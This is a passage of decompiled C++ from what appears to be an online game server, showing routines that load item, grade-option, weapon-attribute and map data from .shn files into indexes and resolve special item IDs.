BTree::bt_Insert(&v2->idb_btree, (const char *)v20 + 2, v19); ++v6; } while ( v6 < v2->idb_Itemspacies ); } result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (0055E9B0) -------------------------------------------------------- void __thiscall ItemDataBox::_ItemDataBox(ItemDataBox *this) { ItemDataBox *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->idb_index; if ( v2 ) { operator delete(v2); v1->idb_index = 0; } ItemDataBox::__unnamed::___unnamed(&v1->idb_BinData.itminf.baseclass_0); BTree::_BTree(&v1->idb_btree); } //----- (0055EA20) -------------------------------------------------------- void __thiscall ItemDataBox::idb_Load(ItemDataBox *this) { ItemDataBox *v1; // esi@1 char *v2; // ebx@1 unsigned int v3; // eax@1 CDataReader::HEAD *v4; // ecx@1 unsigned int v5; // edi@2 void *v6; // eax@7 void *v7; // eax@13 unsigned int v8; // edi@20 bool v9; // zf@20 void *v10; // eax@22 void *v11; // eax@26 unsigned int v12; // ST08_4@30 void *v13; // eax@30 int v14; // ecx@30 unsigned int v15; // ecx@33 int v16; // eax@34 void *v17; // eax@38 unsigned int v18; // ebx@40 void *v19; // eax@41 int v20; // ebp@46 int v21; // eax@46 void *v22; // eax@51 void *v23; // eax@54 void *v24; // eax@57 unsigned int v25; // edi@61 void *v26; // eax@63 unsigned int v27; // ebx@70 void *v28; // ebp@72 unsigned int v29; // eax@74 int v30; // edi@74 int v31; // edi@85 unsigned int v32; // eax@89 signed __int16 v33; // di@89 unsigned int v34; // ebp@91 unsigned int v35; // eax@94 signed __int16 v36; // di@94 unsigned int v37; // eax@99 signed __int16 v38; // di@99 unsigned int v39; // eax@104 signed __int16 v40; // di@104 unsigned int v41; // eax@109 signed __int16 v42; // di@109 unsigned int v43; // eax@114 signed __int16 v44; // di@114 unsigned int v45; // eax@119 signed __int16 v46; // di@119 unsigned int v47; // eax@124 signed __int16 v48; // di@124 unsigned int v49; // eax@129 signed __int16 v50; // di@129 unsigned int v51; // eax@134 signed __int16 v52; // di@134 unsigned int v53; // eax@139 signed __int16 v54; // di@139 unsigned int v55; // eax@144 signed __int16 v56; // di@144 unsigned int v57; // eax@149 signed __int16 v58; // di@149 unsigned int v59; // eax@154 signed __int16 v60; // di@154 unsigned int v61; // eax@159 signed __int16 v62; // di@159 unsigned int v63; // eax@164 signed __int16 v64; // di@164 unsigned int v65; // eax@169 signed __int16 v66; // di@169 unsigned int v67; // eax@174 signed __int16 v68; // di@174 unsigned int v69; // eax@179 signed __int16 v70; // di@179 unsigned int v71; // eax@184 signed __int16 v72; // di@184 unsigned int v73; // eax@189 signed __int16 v74; // di@189 unsigned int v75; // eax@194 signed __int16 v76; // di@194 unsigned int v77; // eax@199 signed __int16 v78; // di@199 unsigned int v79; // eax@204 signed __int16 v80; // di@204 unsigned int v81; // eax@209 signed __int16 v82; // di@209 unsigned int v83; // eax@214 signed __int16 v84; // di@214 unsigned int v85; // eax@219 signed __int16 v86; // di@219 int v87; // ecx@224 unsigned int v88; // ebx@225 int v89; // edi@226 void *v90; // eax@229 void *v91; // eax@233 void *v92; // eax@236 unsigned int v93; // eax@241 signed __int16 v94; // di@241 unsigned int v95; // eax@246 signed __int16 v96; // di@246 unsigned int v97; // eax@251 signed __int16 v98; // di@251 unsigned int v99; // eax@256 signed __int16 v100; // di@256 unsigned int v101; // eax@261 signed __int16 v102; // di@261 void *nItemDropLog; // [sp+10h] [bp-60h]@10 unsigned int nItemDropLoga; // [sp+10h] [bp-60h]@20 void *i; // [sp+14h] [bp-5Ch]@4 unsigned int ia; // [sp+14h] [bp-5Ch]@36 int *v107; // [sp+18h] [bp-58h]@9 char wa; // [sp+1Ch] [bp-54h]@224 int v109; // [sp+4Ch] [bp-24h]@224 int v110; // [sp+58h] [bp-18h]@224 __int16 v111; // [sp+5Ch] [bp-14h]@224 char v112; // [sp+5Eh] [bp-12h]@224 unsigned int v113; // [sp+60h] [bp-10h]@266 int v114; // [sp+6Ch] [bp-4h]@224 v1 = this; v2 = (char *)&this->idb_BinData; BinaryDataBox::bdb_ReadData(&this->idb_BinData.itminf, "../9Data/Shine/ItemInfo.shn"); BinaryDataBox::bdb_ReadData(&v1->idb_BinData.itminfsrv, "../9Data/Shine/ItemInfoServer.shn"); BinaryDataBox::bdb_ReadData(&v1->idb_BinData.itmgrade, "../9Data/Shine/GradeItemOption.shn"); BinaryDataBox::bdb_ReadData( (BinaryDataBox *)&v1->idb_BinData.itemdroplog, "../9Data/Shine/ItemDropLog.shn"); v3 = v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead; v1->idb_Itemspacies = v3; if ( v3 != v4->nNumOfRecord ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_Load : DataNumber not match", 0); v5 = 0; if ( v1->idb_Itemspacies > 0 ) { do { if ( v5 < v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) i = CDataReader::GetRecord(&v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0, v5); else i = &v1->idb_BinData.itminfsrv.bdb_defaultblock; if ( v5 < *(_DWORD *)(*((_DWORD *)v2 + 12) + 40) ) v6 = CDataReader::GetRecord((CDataReader *)v2, v5); else v6 = v2 + 60; v107 = (int *)v6; if ( v5 < *(_DWORD *)(*((_DWORD *)v2 + 12) + 40) ) nItemDropLog = CDataReader::GetRecord((CDataReader *)v2, v5); else nItemDropLog = v2 + 60; if ( v5 < v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0, v5); else v7 = &v1->idb_BinData.itminfsrv.bdb_defaultblock; if ( *(_WORD *)nItemDropLog != *(_DWORD *)v7 ) { AssertClass::ac_AssertFail(&shineassert, "Diff : ", *(_WORD *)v107, *(_DWORD *)i); ShineExit("ItemDataBox::idb_Load"); } ++v5; } while ( v5 < v1->idb_Itemspacies ); } ShineExit("ItemDataBox::idb_Load"); } v8 = 0; v9 = v1->idb_Itemspacies == 0; nItemDropLoga = v1->idb_BinData.itemdroplog.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v1->idb_maxItemhandle = 0; if ( !v9 ) { do { if ( v8 < *(_DWORD *)(*((_DWORD *)v2 + 12) + 40) ) v10 = CDataReader::GetRecord((CDataReader *)v2, v8); else v10 = v2 + 60; if ( v1->idb_maxItemhandle < *(_WORD *)v10 ) { if ( v8 < *(_DWORD *)(*((_DWORD *)v2 + 12) + 40) ) v11 = CDataReader::GetRecord((CDataReader *)v2, v8); else v11 = v2 + 60; v1->idb_maxItemhandle = *(_WORD *)v11; } ++v8; } while ( v8 < v1->idb_Itemspacies ); } v12 = 24 * (v1->idb_maxItemhandle++ + 1); v13 = operator new__(v12); v14 = v1->idb_maxItemhandle; v1->idb_index = (ItemDataBox::ItemDataBoxIndex *)v13; if ( v13 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_Load : Memory leak for index in Item", v14); ShineExit("ItemDataBox::idb_Load"); } v15 = 0; if ( v1->idb_maxItemhandle > 0 ) { v16 = 0; do { v1->idb_index[v16].data = 0; v1->idb_index[v16].dataserv = 0; v1->idb_index[v16].itemoption = 0; v1->idb_index[v16].MovingShot = 0; v1->idb_index[v16].AttackAngle = 0; v1->idb_index[v16].SetItemIndex = -1; v1->idb_index[v16].itemdroplog = 0; ++v15; ++v16; } while ( v15 < v1->idb_maxItemhandle ); } ia = 0; if ( v1->idb_Itemspacies ) { do { if ( ia < v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v17 = CDataReader::GetRecord(&v1->idb_BinData.itminf.baseclass_0.baseclass_0, ia); else v17 = &v1->idb_BinData.itminf.bdb_defaultblock; v18 = *(_WORD *)v17; if ( ia < v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v19 = CDataReader::GetRecord(&v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0, ia); else v19 = &v1->idb_BinData.itminfsrv.bdb_defaultblock; if ( v18 != *(_DWORD *)v19 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_Load : iteminfo iteminfoserver Order not match", v18); ShineExit("ItemDataBox::idb_Load"); } v20 = v18; v21 = (int)&v1->idb_index[v18]; if ( *(_DWORD *)v21 || *(_DWORD *)(v21 + 4) ) { AssertClass::ac_AssertFail(&shineassert, "Duplicate Item handle", v18); ShineExit("ItemDataBox::idb_Load"); } if ( ia < v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v22 = CDataReader::GetRecord(&v1->idb_BinData.itminf.baseclass_0.baseclass_0, ia); else v22 = &v1->idb_BinData.itminf.bdb_defaultblock; v1->idb_index[v20].data = (ItemInfo *)v22; if ( ia < v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v23 = CDataReader::GetRecord(&v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0, ia); else v23 = &v1->idb_BinData.itminfsrv.bdb_defaultblock; v1->idb_index[v20].dataserv = (ItemInfoServer *)v23; if ( ia < v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v24 = CDataReader::GetRecord(&v1->idb_BinData.itminf.baseclass_0.baseclass_0, ia); else v24 = &v1->idb_BinData.itminf.bdb_defaultblock; BTree::bt_Insert(&v1->idb_btree, (const char *)v24 + 2, v18); if ( v1->idb_index[v20].data->ItemFunc == 3 ) v1->idb_specialid.sii_JustReviveItem = v18; v25 = 0; if ( (signed int)nItemDropLoga > 0 ) { while ( 1 ) { v26 = v25 < v1->idb_BinData.itemdroplog.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->idb_BinData.itemdroplog.baseclass_0.baseclass_0, v25) : &v1->idb_BinData.itemdroplog.bdb_defaultblock; if ( *(_DWORD *)v26 == v18 ) break; ++v25; if ( (signed int)v25 >= (signed int)nItemDropLoga ) goto LABEL_69; } v1->idb_index[v20].itemdroplog = (ItemDropLog *)v26; } LABEL_69: ++ia; } while ( ia < v1->idb_Itemspacies ); } v27 = 0; if ( v1->idb_BinData.itmgrade.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { do { if ( v27 < v1->idb_BinData.itmgrade.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v28 = CDataReader::GetRecord(&v1->idb_BinData.itmgrade.baseclass_0.baseclass_0, v27); else v28 = &v1->idb_BinData.itmgrade.bdb_defaultblock; v29 = BTree::operator__(&v1->idb_btree, (const char *)v28); LOWORD(v30) = -1; if ( v29 != -1 ) LOWORD(v30) = v29; if ( (_WORD)v30 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", (const char *)v28); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v30 = (unsigned __int16)v30; if ( (unsigned __int16)v30 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::idb_Load(GradeItemOption) : Invalid Item Index", (const char *)v28); ShineExit("ItemDataBox::idb_Load"); } if ( v30 >= v1->idb_maxItemhandle ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::idb_Load(GradeItemOption) : Invalid Item Index", (const char *)v28); ShineExit("ItemDataBox::idb_Load"); } v31 = v30; if ( v1->idb_index[v31].itemoption ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::idb_Load(GradeItemOption) : Duplicate Item handle", (const char *)v28); ShineExit("ItemDataBox::idb_Load"); } v1->idb_index[v31].itemoption = (GradeItemOption *)v28; ++v27; } while ( v27 < v1->idb_BinData.itmgrade.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ); } v32 = BTree::operator__(&v1->idb_btree, "Cen"); v33 = -1; if ( v32 != -1 ) v33 = v32; v34 = 0; if ( v33 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "Cen"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_cenid = v33; v35 = BTree::operator__(&v1->idb_btree, "SilverWings"); v36 = -1; if ( v35 != -1 ) v36 = v35; if ( v36 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SilverWings"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_silverwing = v36; v37 = BTree::operator__(&v1->idb_btree, "PresentBox"); v38 = -1; if ( v37 != -1 ) v38 = v37; if ( v38 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "PresentBox"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_kqrewardchest = v38; v1->idb_specialid.sii_recall.stage = -1; v39 = BTree::operator__(&v1->idb_btree, "FreeStatusReloadAll"); v40 = -1; if ( v39 != -1 ) v40 = v39; if ( v40 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "FreeStatusReloadAll"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_FreeStatRedistAll = v40; v41 = BTree::operator__(&v1->idb_btree, "SkillReloadbundleAll"); v42 = -1; if ( v41 != -1 ) v42 = v41; if ( v42 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SkillReloadbundleAll"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SkillEmpowRedistAll = v42; v43 = BTree::operator__(&v1->idb_btree, "FreeStatusReloadOne"); v44 = -1; if ( v43 != -1 ) v44 = v43; if ( v44 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "FreeStatusReloadOne"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_FreeStatRedistPoint = v44; v45 = BTree::operator__(&v1->idb_btree, "SkillReloadbundleOne"); v46 = -1; if ( v45 != -1 ) v46 = v45; if ( v46 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SkillReloadbundleOne"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SkillEmpowRedistPoint = v46; v47 = BTree::operator__(&v1->idb_btree, "LicenseClear"); v48 = -1; if ( v47 != -1 ) v48 = v47; if ( v48 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "LicenseClear"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_WeaponLicenseClear = v48; v49 = BTree::operator__(&v1->idb_btree, "House_MushRoom"); v50 = -1; if ( v49 != -1 ) v50 = v49; if ( v50 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "House_MushRoom"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MiniHouse_MushRoom = v50; v51 = BTree::operator__(&v1->idb_btree, "HPMPotion1"); v52 = -1; if ( v51 != -1 ) v52 = v51; if ( v52 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "HPMPotion1"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionHP0 = v52; v53 = BTree::operator__(&v1->idb_btree, "HPMPotion2"); v54 = -1; if ( v53 != -1 ) v54 = v53; if ( v54 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "HPMPotion2"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionHP1 = v54; v55 = BTree::operator__(&v1->idb_btree, "HPMPotion0"); v56 = -1; if ( v55 != -1 ) v56 = v55; if ( v56 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "HPMPotion0"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionHP2 = v56; v57 = BTree::operator__(&v1->idb_btree, "HPMPotion3"); v58 = -1; if ( v57 != -1 ) v58 = v57; if ( v58 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "HPMPotion3"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionHP3 = v58; v59 = BTree::operator__(&v1->idb_btree, "SPMPotion1"); v60 = -1; if ( v59 != -1 ) v60 = v59; if ( v60 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SPMPotion1"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionSP0 = v60; v61 = BTree::operator__(&v1->idb_btree, "SPMPotion2"); v62 = -1; if ( v61 != -1 ) v62 = v61; if ( v62 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SPMPotion2"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionSP1 = v62; v63 = BTree::operator__(&v1->idb_btree, "SPMPotion0"); v64 = -1; if ( v63 != -1 ) v64 = v63; if ( v64 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SPMPotion0"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionSP2 = v64; v65 = BTree::operator__(&v1->idb_btree, "SPMPotion3"); v66 = -1; if ( v65 != -1 ) v66 = v65; if ( v66 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SPMPotion3"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionSP3 = v66; v67 = BTree::operator__(&v1->idb_btree, "Roar"); v68 = -1; if ( v67 != -1 ) v68 = v67; if ( v68 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "Roar"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_Roar = v68; v69 = BTree::operator__(&v1->idb_btree, "ProdReload01"); v70 = -1; if ( v69 != -1 ) v70 = v69; if ( v70 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "ProdReload01"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SkillErase = v70; v71 = BTree::operator__(&v1->idb_btree, "GoddessWing"); v72 = -1; if ( v71 != -1 ) v72 = v71; if ( v72 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "GoddessWing"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SparrowWing = v72; v73 = BTree::operator__(&v1->idb_btree, "MemoryFeather"); v74 = -1; if ( v73 != -1 ) v74 = v73; if ( v74 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "MemoryFeather"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SparrowFeather = v74; v75 = BTree::operator__(&v1->idb_btree, "WingStone01_1"); v76 = -1; if ( v75 != -1 ) v76 = v75; if ( v76 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "WingStone01_1"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_WingStone = v76; v77 = BTree::operator__(&v1->idb_btree, "KQ_SoulCrystal"); v78 = -1; if ( v77 != -1 ) v78 = v77; if ( v78 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "KQ_SoulCrystal"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_BossMobDetector = v78; v79 = BTree::operator__(&v1->idb_btree, "Karis"); v80 = -1; if ( v79 != -1 ) v80 = v79; if ( v80 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "Karis"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_Karis = v80; v81 = BTree::operator__(&v1->idb_btree, "GuildName"); v82 = -1; if ( v81 != -1 ) v82 = v81; if ( v82 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "GuildName"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_GuildReName = v82; v83 = BTree::operator__(&v1->idb_btree, "GuildTendency"); v84 = -1; if ( v83 != -1 ) v84 = v83; if ( v84 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "GuildTendency"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_GuildReType = v84; v85 = BTree::operator__(&v1->idb_btree, "IN_MoneyCard00"); v86 = -1; if ( v85 != -1 ) v86 = v85; if ( v86 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "IN_MoneyCard00"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_DiceTaiSaiMoneyCard = v86; CCharacterTitleData::CCharacterTitleData((BinaryData *)&wa); v110 = 0; v111 = 0; v112 = 0; v114 = 0; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&wa, "../9Data/Shine/WeaponAttrib.shn"); v87 = v109; if ( *(_DWORD *)(v109 + 40) > 0 ) { do { v88 = 0; if ( v1->idb_maxItemhandle ) { v89 = 0; do { if ( v1->idb_index[v89].data ) { if ( v34 < *(_DWORD *)(v87 + 40) ) { v90 = CDataReader::GetRecord((CDataReader *)&wa, v34); v87 = v109; } else { v90 = &v110; } if ( v1->idb_index[v89].data->WeaponType == *(_DWORD *)v90 ) { if ( v34 < *(_DWORD *)(v87 + 40) ) v91 = CDataReader::GetRecord((CDataReader *)&wa, v34); else v91 = &v110; v1->idb_index[v89].MovingShot = *((_BYTE *)v91 + 6); if ( v34 < *(_DWORD *)(v109 + 40) ) v92 = CDataReader::GetRecord((CDataReader *)&wa, v34); else v92 = &v110; v1->idb_index[v89].AttackAngle = *((_WORD *)v92 + 2); v87 = v109; } } ++v88; ++v89; } while ( v88 < v1->idb_maxItemhandle ); } ++v34; } while ( (signed int)v34 < *(_DWORD *)(v87 + 40) ); } v114 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&wa); v93 = BTree::operator__(&v1->idb_btree, "ProposeRing"); v94 = -1; if ( v93 != -1 ) v94 = v93; if ( v94 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "ProposeRing"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_ProposeRing = v94; v95 = BTree::operator__(&v1->idb_btree, "InvitationCard"); v96 = -1; if ( v95 != -1 ) v96 = v95; if ( v96 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "InvitationCard"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_InvitationCard = v96; v97 = BTree::operator__(&v1->idb_btree, "WeddingCoupon"); v98 = -1; if ( v97 != -1 ) v98 = v97; if ( v98 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "WeddingCoupon"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_WeddingCoupon = v98; v99 = BTree::operator__(&v1->idb_btree, "MiniWedding01_1"); v100 = -1; if ( v99 != -1 ) v100 = v99; if ( v100 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "MiniWedding01_1"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_WeddingPresent = v100; v101 = BTree::operator__(&v1->idb_btree, "InstantDivorce"); v102 = -1; if ( v101 != -1 ) v102 = v101; if ( v102 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "InstantDivorce"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_ImmediateDivorce = v102; __security_check_cookie(v113); } //----- (0055FA50) -------------------------------------------------------- void __thiscall ItemDataBox::ItemDataBox(ItemDataBox *this, char *pdatafn, bool bCheckAndRead) { ItemDataBox *v3; // esi@1 char *v4; // edi@1 _iobuf *v5; // eax@5 v3 = this; BTree::BTree(&this->idb_btree); ItemDataBox::__unnamed::__unnamed(&v3->idb_BinData.itminf.baseclass_0); v4 = pdatafn; v3->idb_index = 0; v3->idb_maxItemhandle = 0; if ( pdatafn != (char *)-1 ) { if ( !pdatafn ) v4 = "../9Data/Shine/ItemInfo.shn"; if ( bCheckAndRead ) { v5 = fopen(v4, "rb"); if ( !v5 ) return; fclose(v5); } ItemDataBox::ReadData(v3, v4); } } //----- (0055FB00) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x193u, 0x48u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0055FBB0) -------------------------------------------------------- void __thiscall MapDataBox::mdb_Load(MapDataBox *this) { MapDataBox *v1; // esi@1 CDataReader::HEAD *v2; // eax@1 unsigned int v3; // ebp@1 unsigned int v4; // edi@1 void *v5; // eax@3 int v6; // eax@5 unsigned int v7; // ST04_4@8 void *v8; // eax@8 int v9; // ecx@8 int v10; // eax@8 void *v11; // eax@12 void *v12; // edi@15 void *v13; // ebx@18 void *v14; // eax@21 unsigned int v15; // ecx@23 char *v16; // ecx@23 int v17; // edi@23 v1 = this; BinaryDataBox::bdb_ReadData(&this->mdb_BinData, "../9Data/Shine/MapInfo.shn"); v2 = v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead; v3 = 0; v1->mdb_maxmapid = 0; v4 = 0; if ( (signed int)v2->nNumOfRecord > 0 ) { do { if ( v4 < v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v5 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v4); else v5 = (void *)&v1->mdb_BinData.bdb_defaultblock; v6 = *(_WORD *)v5; if ( v1->mdb_maxmapid < v6 ) v1->mdb_maxmapid = v6; ++v4; } while ( (signed int)v4 < (signed int)v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ); } v7 = 4 * (v1->mdb_maxmapid++ + 1); v8 = operator new(v7); v9 = v1->mdb_maxmapid; v1->mdb_index = (MapInfo **)v8; v10 = 0; if ( v9 > 0 ) { do v1->mdb_index[v10++] = 0; while ( v10 < v1->mdb_maxmapid ); } if ( (signed int)v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord > 0 ) { do { if ( v3 < v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v11 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v3); else v11 = (void *)&v1->mdb_BinData.bdb_defaultblock; v1->mdb_index[*(_WORD *)v11] = (MapInfo *)v11; if ( v3 < v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v12 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v3); else v12 = (void *)&v1->mdb_BinData.bdb_defaultblock; if ( v3 < v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v13 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v3); else v13 = (void *)&v1->mdb_BinData.bdb_defaultblock; if ( v3 < v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v14 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v3); else v14 = (void *)&v1->mdb_BinData.bdb_defaultblock; v15 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v15; v16 = (char *)&namestring + 256 * v15; *(_DWORD *)v16 = *(_DWORD *)((char *)v14 + 2); *((_DWORD *)v16 + 1) = *(_DWORD *)((char *)v14 + 6); *((_DWORD *)v16 + 2) = *(_DWORD *)((char *)v14 + 10); v16[12] = 0; v17 = *(_WORD *)v12; if ( !BTree::bt_Insert(&v1->mdb_btree, v16, *(_WORD *)v13) ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::ReadData : memory leak for BTree", v17); ShineExit("MapDataBox::mdb_Load"); } ++v3; } while ( (signed int)v3 < (signed int)v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ); } } //----- (0055FD40) 